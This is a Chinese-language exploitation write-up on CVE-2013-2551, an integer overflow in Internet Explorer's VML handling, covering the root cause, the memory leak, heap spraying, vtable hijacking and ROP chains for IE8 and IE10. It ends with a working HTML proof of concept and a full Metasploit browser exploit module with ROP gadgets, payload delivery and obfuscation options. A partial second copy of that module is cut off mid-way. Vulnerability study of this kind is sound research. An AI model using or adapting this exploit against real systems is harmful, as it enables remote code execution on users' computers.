VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公佈了漏洞的細節。它是一個ORG數組整數溢出漏洞,因爲此漏洞的特殊性,使得攻擊者能夠經過整數溢出修改數組的長度,獲取任意內存讀寫的能力,最終繞過ASLR並獲取控制權限實現遠程代碼執行。javascript
在漏洞公佈不久,就有人寫出了對應的metasploit利用代碼,不過其代碼只支持Win7+IE8環境。經過分析,想要在Win7+IE10下成功利用此漏洞須要解決幾個關鍵問題,並運用幾個技巧。本文首先參考已有的分析文章,根據本身的理解對漏洞成因再次進行綜合分析,記錄分析過程及結果,方便小組成員學習。而後針對IE八、IE10兩個環境,對漏洞利用所使用的技術及技巧進行總結。php
操做系統:Win7 SP1 (6.1.7601.17514)css
瀏覽器:IE10.0.9200.16540html
漏洞編號:CVE-2013-2551java
這個漏洞是因爲負責VML解析的模塊VGX.DLL,在處理<v:stroke>標籤的dashstyle.array.length屬性時,沒有對傳入的參數進行完備驗證而致使的整數溢出。攻擊者利用這個漏洞可以對任意地址進行讀寫操做——經過讀取敏感內存信息、改寫對象虛函數表,就可以完美繞太重重內存防禦機制實現任意代碼執行。web
VML(Vector Markup Language)矢量標記語言是SVG的前身,它仍然被IE10所支持,經過它能夠在頁面中表現二維矢量圖形。值得說明的是IE10在默認狀況下是不支持VML的,但經過在HTML中加入有關對文檔模式的聲明,可使IE10正常解析VML標籤。VML被vgx.dll(C:\Program Files\Common Files\Microsoft Shared\VGX)所實現,能夠經過附件中的VML.html來簡單瞭解VML的使用。redis
VML爲shape元素實現了一個Stroke子元素,Stroke子元素有一個DashStyle屬性。DashStyle能夠是一個常數也能夠是一個自定義的類型。例以下面的使用方法:shell
當經過JS讀取dashstyle屬性時,其內部會調用"vgx!COAStroke::get_dashstyle()",隨後"vgx!COAStroke::get_dashstyle()"調用子函數"vgx!COAShapeProg::GetOALineDashStyle()"並最終返回一個COALineDashStyle對象。數組
dashstyle屬性的功能是被COALineDashStyle對象實現的,COALineDashStyle對象的方法以下,其中get_value/put_value是針對dashstyle爲常數的狀況。瀏覽器
若是dashstyle屬性是自定義類型,調用COALineDashStyle::get_array()方法,將會在其子函數COAShapeProg::GetOALineDashStyleArray()中返回一個COALineDashStyleArray對象。
COALineDashStyleArray對象用來管理自定義類型的dashstyle屬性,其方法以下:
設置或者讀取dashstyle.array.length屬性時,對應的put_length或get_length函數就會被調用;利用數組下標訪問dash.array屬性時,對應的put_item或get_item函數就會被調用。
使用JS語句對dashstyle屬性賦值時,例如:stroke.dashstyle = "1 2 3 4",函數vgx!ParseDashStyle會被調用,將控制流轉向_MsoFCreateArray函數來建立一個ORG數組。在_MsoFCreateArray中調用_MsoFInitPx函數根據數組成員個數來、進行內存分配,每一個數組成員佔四字節內存,因此ORG數組的緩衝區大小爲數組成員個數×4(byte)。在對dashstyle.array.length屬性賦值時,數組成員的個數會改變,在put_length函數中會根據新設置的值來從新爲ORG數組成分配內存。然而在put_length中存在一個整數溢出漏洞,漏洞相關代碼以下:
能夠看出漏洞成因就在於put_length函數判斷當前長度current_length和desired_length長度時,使用跳轉指令是用於判斷有符號數的jge指令,而數組長度是一個unsiged int類型的變量。所以當傳入desired_length的值爲有符號數0xFFFFFFFF時,會致使跳轉至loc_1008B844處,進而調用ORG::DeleteRange。執行流程爲:ORG::DeleteRange-->MsoDeletePx-->MsoFRemovePx。
進入MsoFRemovePx函數時,arg_4=current_length-desired_length,arg_8=desired_length。
在MsoFRemovePx函數內部,最終將desired_length設置成了current_length,使得在沒有從新分配內存的狀況下將ORG數組長度current_length改寫成0xFFFF。所以,能夠經過此時的ORG數組得到越界訪問。
要想成功觸發漏洞,須使用JS將dashstyle.array.length的值設置爲0xFFFFFFFF,可是若是直接使用語句dashstyle.array.length = 0xFFFFFFFF。會提示錯誤有"溢出"發生,將0xFFFFFFFF改成(0-1)就可以成功觸發漏洞了。
「漏洞成因」結合「信息泄露」的源代碼在附錄poc (CVE-2013-2551).html中給出,請參見附件。
VML shape的_vgRuntimeStyle屬性由COARuntimeStyle對象負責處理,它包含不少方法,以下
使用JS語句設置或者讀取_vgRuntimeStyle.marginLeft屬性時,對應的COARuntimeStyle::put_marginLeft()或者COARuntimeStyle::get_marginLeft()函數就會被調用。
若是是第一次訪問marginLeft/rotation屬性,那麼在put_marginLeft/put_rotation函數中會調用CVMLShape::GetRTSInfoàCParserTag::GetRTSInfo來建立一個COARuntimeStyle對象,該對象大小爲0xAC(實際分配0xB0)。
而marginLeft屬性的值對應的字符串指針就保存在該COARuntimeStyle對象的0x58偏移處。一樣get_marginLeft函數在讀取marginLeft屬性時,也是經過訪問這個對象偏移0x58位置上的字符串指針來完成的。
COARuntimeStyle::put_marginLeft()
所以,咱們能夠設置堆內存,使得ORG數組在一個COARuntimeStyle對象前面。而後經過ORG數組用任意值(這裏使用0x7ffe0300)越界重寫marginLeft屬性的字符串指針,再使用COARuntimeStyle::get_marginLeft()將任意內存地址(0x7ffe0300)處的內容讀取出來。0x7ffe0300處保存着ntdll!KiFastSystemCall的地址,經過此地址減去相應偏移便可獲得當前ntdll.dll的內存基址。
也能夠經過ORG數組越界讀隨後COARuntimeStyle對象的前4字節(虛函數表指針),最終減去相應偏移便可獲得當前vgx.dll的內存基址。
信息泄露部分的源代碼見附件poc (CVE-2013-2551).html
定位shellcode有兩種方法可控選擇,使用的最多的方法就是堆噴射,可是它並非一種完美的利用方法。完美的利用方法是經過漏洞讀取出shellcode的地址。我使用兩種方法分別實現了IE10下的漏洞利用。
使用堆噴射能夠方便的佈局咱們的shellcode在指定的內存處。在IE8下,堆噴射使用常見的heapLib技術。IE10下,heapLib再也不奏效,咱們能夠經過DEPS技術實現堆噴射。具體技術資料及源碼不少,此處再也不贅述。
因爲此漏洞的特殊性,使其具備任意地址讀的能力。參見4.1.1信息泄露部分,咱們能夠將shellcode做爲COARuntimeStyle的marginLeft屬性值,再經過觸發漏洞使用ORG數組越界讀取出shellcode的地址。其原理與「信息泄露」一致,主要在於代碼實現,請參見「CVE-2013-2551_MS13-037(IE10noHeapSpray).rb」。
當經過JS讀取_anchorRect屬性時,其內部會調用"vgx!COAShape::get__anchorRect()",最終建立並返回一個0x10大小的COAReturnedPointsForAnchor對象。
所以有這樣一種利用場景:建立大量的COAReturnedPointsForAnchor對象,在其中爲Dashstyle屬性建立具備4個元素的ORG數組使其內存佈局恰好位於大量COAReturnedPointsForAnchor對象之間。而後利用漏洞經過ORG數組越界改寫其後COAReturnedPointsForAnchor對象的虛函數表指針,從而獲取控制權。具體步驟以下:
1) 建立大量的COAShape元素(v:shape)
2) 遍歷每一個COAShape的_anchorRect屬性,這樣就能夠建立COAReturnedPointsForAnchor元素,在遍歷的過程當中,某個地方給dashstyle屬性賦值,這樣會建立ORG對 象,爲保證ORG對象和COAReturnedPointsForAnchor對象在同一個堆塊而且地址連續,ORG的元素數目爲4個,正好 4×4 = 0x10。
3) Dashstyle.array.length = -1,觸發漏洞。因爲漏洞被觸發,Dashstyle.array的長度被修改成0xffff,能夠越界寫內存
4) dashstyle.array.item(6) = 0x0c0c0c0c,修改ORG後面的COAReturnedPointsForAnchor虛表指針。Item(6)是爲了跳過堆首部的8個字節。
5) 釋放_anchorRec元素,當被修改虛表指針的元素被刪除時,會經過虛表調用Release函數,這樣就能夠被攻擊者得到控制權。
首先來看當被修改虛函數表指針的COAReturnedPointsForAnchor對象將要被釋放時,索引其Release虛函數的過程。
如上圖所示,(98行)ecx保存着對象UserPtr地址,並將其首4字節(虛函數表指針)傳遞給eax,而後(100行)調用虛函數表的第三個函數。而在「獲取控制權」階段咱們已經將對象的首4字節改寫成了0x0c0c0c0c,所以它將在0x0c0c0c0c處的僞造虛函數表中索引虛函數表並調用。
在IE8下經過常規的heapLib技術進行堆噴射,將shellcode佈局在0x0c0c0c0c處。並在0x0c0c0c0c處僞造虛函數表,構造ROP chain。
如上圖所示,0x0c0c0c0c處就是根據以後虛函數被調用順序,構造的ROP chain,將切換堆棧的指令(xchg eax,esp)的地址放在了0x0c0c0c0c + 0x08處,這樣當程序接下來調用虛基表中的第3個虛函數Release時,就在僞造的虛函數表0x0c0c0c0c處索引第三個函數地址,並執行xchg eax,esp; retn指令
注意,當調用「第三個虛函數」時,eax保存着虛函數表指針(此時爲0x0c0c0c0c),ecx保存着對象UserPtr指針。其隨後的執行流程以下:
1) 經過xchg eax,esp指令可將堆棧切換到0x0c0c0c0c上,使得esp指向0x0c0c0c0c處。隨後執行retn指令時,將會在新的堆棧(0x0c0c0c0c)上索引返回地址並
跳轉執行。
2) 執行0x0c0c0c0c處第一個4字節地址所指向的指令——retn。繼續在堆棧上索引返回地址。
3) 執行0x0c0c0c0c處第二個4字節地址所指向的指令——pop ebx; retn。意在跳過0x0c0c0c0c處的第三個4字節,並將第四個4字節的值做爲返回地址並執行。
4) 第四個4字節爲實際爲ntdll!ZwProtectVirtualMemory函數地址,其返回地址、調用參數已經硬編碼到隨後的shellcode中。其目的在於修改0x0c0c0c40處0x400字
節大小的內存空間的屬性,將其修改爲可執行頁面。
5) ntdll!ZwProtectVirtualMemory執行完畢後從堆棧上索引返回地址,跳轉到0x0c0c0c40處繼續執行,最終繞過了DEP,實現了任意代碼執行。
在IE10下,咱們將面對兩個關鍵問題。首先是之前經常使用的堆噴射技術(heapLib)再也不奏效;其次是編譯器作了調整,在索引虛函數時eax再也不保存虛函數表指針,轉而保存對象UserPtr指針,並由ecx來保存虛函數表指針。其形成的結果是指令串xchg ecx,esp; retn;對應的字節碼變長(變爲87E1C3,而xchg eax,esp; retn爲94C3),使得在內存中很難搜索到可以知足相似要求的指令串,從而沒法輕易控制esp。(IE10下相關代碼以下圖所示)
針對IE10,我找到了可替代的堆噴射方法——DEPS,關於DEPS的技術細節及實現請參見參考資料連接。
而當在ntdll.dll中嘗試搜索實現相似功能的指令串(xchg ecx,esp; retn;)無果後,須要從新理清思路。想明白咱們能控制什麼,盡最大可能利用它們仍然能夠繞過阻礙。
在IE10下使用DEPS技術仍然能夠進行堆噴射,並把咱們的shellcode部署在指定內存空間,demo中將shellcode部署在0x0c0c2228處。此時咱們重點關注如何在call dword ptr [ecx+8]時控制堆棧,使得esp切換到指定的內存空間處(0x0c0c2228)
在IE8下,咱們經過漏洞使用ORG數組越界改寫了對象的虛函數表指針,最終對象在釋放過程當中將索引咱們僞造的虛函數,並在一個ROP gadget中實現對堆棧的控制。但IE10下保存虛函數表指針的寄存器變成了ecx,保存對象指針的寄存器變成了eax,此時沒法在一個ROP gadget中實現相似xchg ecx,esp; retn的功能。
此時,咱們面對的狀況爲:保存對象指針的eax、保存對象虛函數表指針的ecx、一個具備越界讀寫對象能力的ORG數組。
所以,可使用ORG數組進一步越界改寫對象頭部,利用容易找到的xchg eax,esp; retn指令串先將堆棧切換到對象內存空間上。而後再經過其餘的ROP gadget將堆棧切換到shellcode處(0x0c0c2228)。實現對堆棧esp的徹底控制。
首先經過mona.py搜索ntdll.dll中全部可能的gadget後。在其搜索結果中尋找可用的ROP gadget。最終效果以下:
因爲咱們使用了堆噴射技術對shellcode進行佈局,所以咱們可以確切的知道其內存位置(0x0c0c2228),在調用ntdll!ZwProtectVirtualMemory修改shellcode內存空間可執行權限時基本不存在問題,能夠經過硬編碼設置當前堆棧上的返回地址、參數值等。以下圖所示:
在4.1.1信息泄露部分,已經介紹了利用COARuntimeStyle對象及其marginLeft屬性來讀取任意地址處的值。若是將shellcode做爲COARuntimeStyle的marginLeft屬性,再經過觸發漏洞,能夠很容易得到shellcode的地址,這樣就能夠不使用heap spray,實現完美的利用。利用方法以下:
其中#{js_code}爲shellcode,marginLeftAddress即爲讀取到的shellcode地址。
因爲shellcode地址是動態獲取的,所以在構造ROP chain(尤爲是在堆棧上爲ntdll!ZwProtectVirtualMemory構造返回地址及參數)時不能使用硬編碼。構造ROP chain是一項考驗並激發創造力的體力活,其中mona.py爲咱們創造了條件,提供了不少便利。
在爲其構造ROP chain時運用了幾個小技巧,下面一一講解,首先來看函數的定義
其整體思想是將ntdll!ZwProtectVirtualMemory函數調用的函數地址、返回地址、參數依次傳遞給edi、esi、ebp、esp、ebx、edx、ecx。而後使用pushad; retn指令串將其佈局在堆棧上並調用,調用pushad; retn指令串前的要求寄存器環境爲:
由於ntdll!ZwProtectVirtualMemory函數的參數中有指針,參數NumberOfBytesToProtect即爲一個指針,指向要修改保護屬性的字節數。在ROP chain中可使用push esp; pop; pop retn的指令串來動態得到當前的地址,例以下圖122行代碼所示,其ROP gadget將NumberOfBytesToProtect的地址傳遞給了esi,最終傳遞給了ebx
ntdll!ZwProtectVirtualMemory的參數BaseAddress也是一個指針,指向要修改內存屬性的內存基址。調用pushad; retn前,要使esp指向想要修改內存屬性的內存基址也須要一點小技巧,個人實現以下圖。143行代碼首先獲取當前堆棧的地址,而後將其加0x40字節,並寫入其值所指的內存中。即指針所指的內存空間保存着指針的地址。
最後,真正的返回地址(esi)要指向最終的payload,它將會被佈局在ROP chain以後,即pushad; retn指令串以後的+4字節處(pushad; retn指令串以後的4字節保存BaseAddress)。所以,還須要將eax加4字節再傳遞給esi。
因爲在shellcode中不能出現/u0000,所以在指定NewAccessProtection時,經過加法指令溢出寄存器,使其變爲0x00000040。其實現過程以下:
至此,構造ROP chain時所運用的幾個技巧已經講解完畢。此處也能夠將shellcode分開存放,即將payload做爲COARuntimeStyle的marginLeft屬性存放;將僞造的虛函數表及用於改寫payload所在頁面屬性的ZwProtectVirtualMemory參數佈局在ntdll.dll的.rsrc處,便可省去複雜的ROP構造;
構造ROP chain雖然是體力活,但也考驗並激發創造力。有點像走一根有障礙的獨木橋,想明白本身能控制什麼,盡最大可能利用它們繞過阻礙,最終展示那奇妙可能性時的成就感妙趣橫生。
網上也已經有多篇文章對CVE-2013-2551漏洞成因與利用方法進行了分析說明。我的認爲它是學習漏洞利用技術很是好的一個例子,經過這一個漏洞能夠了解學習到漏洞利用過程當中的多種技術與技巧。
[1] Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013):http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php
[2] CVE-2013-2551利用技巧分析:http://hi.baidu.com/4b5f5f4b/item/33d5c21e33ed12181994ec6c
[3] CVE-2013-2551利用分析:http://zenhumany.blog.163.com/blog/static/171806633201403114815739/
<html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> POC by VUPEN </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <body onload="createRects(); exploit();"> <v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> <script> var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )); return; } } } </script> </html>
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "10.0", :ua_maxver => "10.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", 'Description' => %q{ This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001). }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery, PoC and analysis 'Danny (modified from Nicolas Joly)', # PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2551' ], [ 'OSVDB', '91197' ], [ 'BID', '58570' ], [ 'MSB', 'MS13-037' ], [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ], [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ] ], 'Payload' => { 'Space' => 948, 'DisableNops' => true, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default { 'Rop' => :jre, 'Offset' => '0x5f4' } ], # requires: # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) # * ntdll.dll v6.1.7601.17725 (MS12-001) [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak', { 'Rop' => :ntdll, 'Offset' => '0x5f4' } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 06 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @second_stage_url = rand_text_alpha(10) @leak_param = rand_text_alpha(5) super end ############################### def get_ntdll_rop case @ntdll_version when "6.1.7601.17514" stack_pivot = [ @ntdll_base+0x0001578a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll] ].pack("V*") ntdll_rop = [ @ntdll_base+0x00047643, # pop edi # retn @ntdll_base+0x00045F18, # ntdll!ZwProtectVirtualMemory @ntdll_base+0x000c71ef, # pop esi # retn 0x0c0c227c, # ret to shellcode 0x0c0c2228+21*4 = 0x0c0c227c @ntdll_base+0x000cb72a, # pop ebp # retn 0xffffffff, # ProcessHandle @ntdll_base+0x000348b9, # pop ebx # retn 0x0c0c2274, # ptr to NumberOfBytesToProtect 0x0c0c2228+19*4 = 0x0c0c2274 @ntdll_base+0x0009a30c, # pop eax # retn 0xFA3DFA7F, @ntdll_base+0x0003ab39, # add eax,5C205C1 # retn @ntdll_base+0x00036d70, # xchg eax,edx # retn (-> put 0x00000040 into edx) @ntdll_base+0x000cd241, # pop ecx # retn 0x0c0c2278, # ptr to OldAccessProtection @ntdll_base+0x000227c4, # PUSHAD # RETN eax ecx edx ebx esp(original) ebp esi edi 0x0c0c227c, # BaseAddress 0x00010400, # NumberOfBytesToProtect 0x41414141, # OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop when "6.1.7601.17725" # 未構造 stack_pivot = [ @ntdll_base+0x0001579a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress 0x0c0c0c38, # ptr to NumberOfBytesToProtect 0x00000040, # NewAccessProtection 0x0c0c0c3c, # ptr to OldAccessProtection 0x0c0c0c40, # BaseAddress 0x00000400, # NumberOfBytesToProtect 0x41414141 # OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop else return "" end end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("Using JRE ROP") stack_pivot = [ 0x7c348b06, # ret # from msvcr71 0x7c341748, # pop ebx # ret # from msvcr71 0x7c348b05 # xchg eax, esp # ret from msvcr71 ].pack("V*") rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) when :ntdll print_status("Using ntdll ROP") rop_payload = get_ntdll_rop + code end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_ntdllBase = @ntdll_base js_trigger = %Q| // Land the payload at 0x0c0c2228 function HeapSpray(){ var div_container = document.getElementById("blah"); div_container.style.cssText = "display:none"; var data; var offset = 0x104; var nops = unescape("#{js_nops}"); var code = unescape("#{js_code}"); while (nops.length < 0x1000) nops += nops; data = nops.substring(0,offset) + code; data += nops.substring(0,0x800-offset-code.length); while (data.length < 0x80000) data += data; // IE 8, 9 and 10 : 0x0c0c2228 for (var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,0x40000-0x58); //aligned spray div_container.appendChild(obj); } } var rect_array = new Array(); var a = new Array(); var ntdllBase = #{js_ntdllBase}; function createRects(){ for(var i=0; i<0x1000; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x1000; i++){ a[i] = document.getElementById("rect" + i.toString())._anchorRect; if (i == 0x800) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1; tempp = vml1.dashstyle.array.item(6); vml1.dashstyle.array.item(6) = 0x0c0c2228; // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2) vml1.dashstyle.array.item(8) = 0x0c0c2228; // ebx vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d; // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN @ntdll_base + 0xcc18d = 0x770cc18d //for (var i=0; i<0x1000; i++) { delete a[0x801]; CollectGarbage(); } //location.reload(); } | heap_spray_func = "HeapSpray" create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate heap_spray_func = js_trigger.sym("HeapSpray") create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{heap_spray_func}(); #{create_rects_func}(); #{exploit_func}();"> <div id="blah"></div> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def html_info_leak js_trigger = %Q| var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ) return; } } } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ html = html_info_leak html = html.gsub(/^\t\t/, '') print_status("Sending HTML to info leak...") send_response(cli, html, {'Content-Type'=>'text/html'}) else leak = begin request.uri_parts["QueryString"][@leak_param].to_i rescue end # Use JRE1.6 to exploit it. if leak == 0 html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML to trigger(Use JRE1.6)...") send_response(cli, html, {'Content-Type'=>'text/html'}) return end # Use Ntdll to exploit it. print_status("ntdll leak: 0x#{leak.to_s(16)}") fingerprint = leak & 0x0000ffff case fingerprint when 0x70B0 @ntdll_version = "6.1.7601.17514" @ntdll_base = leak - 0x470B0 when 0x7090 @ntdll_version = "6.1.7601.17725" # MS12-001 @ntdll_base = leak - 0x47090 else print_error("ntdll version not detected, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML to trigger(Use Ntdll)...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "10.0", :ua_maxver => "10.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", 'Description' => %q{ This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001). }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery, PoC and analysis 'Danny (modified from Nicolas Joly)', # PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2551' ], [ 'OSVDB', '91197' ], [ 'BID', '58570' ], [ 'MSB', 'MS13-037' ], [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ], [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ] ], 'Payload' => { 'Space' => 948, 'DisableNops' => true, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default { 'Rop' => :jre, 'Offset' => '0x5f4' } ], # requires: # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) # * ntdll.dll v6.1.7601.17725 (MS12-001) [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak', { 'Rop' => :ntdll, 'Offset' => '0x5f4' } ] ], 'Privileged' => false, 